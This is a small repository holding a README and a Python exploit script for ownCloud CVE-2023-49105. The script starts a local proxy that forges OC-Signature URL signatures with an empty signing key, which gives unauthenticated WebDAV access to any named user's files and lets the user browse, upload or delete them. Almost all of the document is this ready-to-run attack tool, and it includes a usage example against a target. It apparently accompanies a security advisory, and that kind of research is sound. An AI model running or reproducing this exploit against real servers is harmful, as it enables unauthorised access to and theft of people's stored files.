├── README.md └── pwncloud-webdav.py /README.md: -------------------------------------------------------------------------------- 1 | # ownCloud exploits for CVE-2023-49105 2 | 3 | Refer to [the article](https://www.ambionics.io/blog/owncloud-cve-2023-49103-cve-2023-49105) for details about the bug. 4 | Provided for educational purposes only. 5 | 6 | -------------------------------------------------------------------------------- /pwncloud-webdav.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Owncloud Privilege Escalation CVE-2023-49105 pwnCloud 3 | # 2023-12-05 4 | # cfreal 5 | # 6 | # DESCRIPTION 7 | # 8 | # Exploit demonstrating a consequence of CVE-2023-49105: arbitrary access to WEBDAV 9 | # resources, including every file stored by a user. 10 | # 11 | # EXAMPLE 12 | # 13 | # $ ./pwncloud-webdav.py http://target.com/ admin 14 | # 15 | # REQUIREMENTS 16 | # 17 | # requires ten (https://github.com/cfreal/ten) 18 | # 19 | 20 | import hashlib 21 | from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer 22 | 23 | from ten import * 24 | from tenlib.transform import url as turl 25 | 26 | 27 | @entry 28 | def main(url: str, username: str, listen: str = "localhost:8800") -> None: 29 | # Setup ProxyHandler 30 | ProxyHandler.session = ScopedSession(url) 31 | # ProxyHandler.session.burp() 32 | ProxyHandler.username = username 33 | 34 | # Display info 35 | msg_success(f"Proxy server running on {listen}") 36 | 37 | dav_url = f"dav://anonymous@{listen}/remote.php/dav" 38 | 39 | msg_info(f"Browse user files: {dav_url}/files/{username}") 40 | msg_info(f"Browse everything: {dav_url}") 41 | 42 | # Setup HTTP server 43 | listen_host, listen_port = listen.split(":") 44 | listen_port = int(listen_port) 45 | 46 | proxy_server = ThreadingHTTPServer((listen_host, listen_port), ProxyHandler) 47 | 48 | try: 49 | proxy_server.serve_forever() 50 | except KeyboardInterrupt: 51 | msg_failure("Shutting down the proxy server.") 52 | proxy_server.server_close() 53 | 54 | 55 | class ProxyHandler(SimpleHTTPRequestHandler): 56 | session = ScopedSession 57 | username: str 58 | 59 | def do_ANY(self): 60 | # Fix bug where ownCloud does not realize /remote.php/dav is equal to 61 | # /remote.php/dav/ and raises an error 62 | if self.path == "/remote.php/dav": 63 | self.path += "/" 64 | 65 | # Add OC-* and signature to the URL 66 | url = build_signed_url( 67 | self.command, self.username, self.session.get_absolute_url(self.path) 68 | ) 69 | 70 | # Prepare headers 71 | headers = {header: self.headers[header] for header in self.headers} 72 | headers["Host"] = turl.parse(url).netloc 73 | 74 | # TODO stream input 75 | if size := int(self.headers.get("Content-Length", 0)): 76 | data = self.rfile.read(size) 77 | else: 78 | data = None 79 | 80 | response = self.session.request( 81 | self.command, url, headers=headers, data=data, stream=True 82 | ) 83 | 84 | self.send_response(response.status_code) 85 | 86 | for header, value in response.headers.items(): 87 | self.send_header(header, value) 88 | 89 | self.end_headers() 90 | 91 | # Stream the response content to the client 92 | for chunk in response.iter_content(chunk_size=8192): 93 | if chunk: 94 | self.wfile.write(chunk) 95 | 96 | do_OPTIONS = do_ANY 97 | do_GET = do_ANY 98 | do_HEAD = do_ANY 99 | do_POST = do_ANY 100 | do_PUT = do_ANY 101 | do_DELETE = do_ANY 102 | do_TRACE = do_ANY 103 | do_COPY = do_ANY 104 | do_LOCK = do_ANY 105 | do_MKCOL = do_ANY 106 | do_MOVE = do_ANY 107 | do_PROPFIND = do_ANY 108 | do_PROPPATCH = do_ANY 109 | do_UNLOCK = do_ANY 110 | 111 | 112 | def compute_hash(url: str) -> str: 113 | url = url.encode() 114 | signing_key = "".encode() 115 | iterations = 10000 116 | return hashlib.pbkdf2_hmac("sha512", url, signing_key, iterations, dklen=32).hex() 117 | 118 | 119 | def build_signed_url(method: str, username: str, url: str) -> str: 120 | parsed = turl.parse(url) 121 | params = qs.parse(parsed.query) 122 | params["OC-Credential"] = username 123 | params["OC-Verb"] = method 124 | params["OC-Expires"] = "1000" 125 | params["OC-Date"] = "" 126 | parsed = parsed._replace(query=qs.unparse(params)) 127 | params["OC-Signature"] = compute_hash(turl.unparse(parsed)) 128 | parsed = parsed._replace(query=qs.unparse(params)) 129 | return turl.unparse(parsed) 130 | 131 | 132 | main() 133 | --------------------------------------------------------------------------------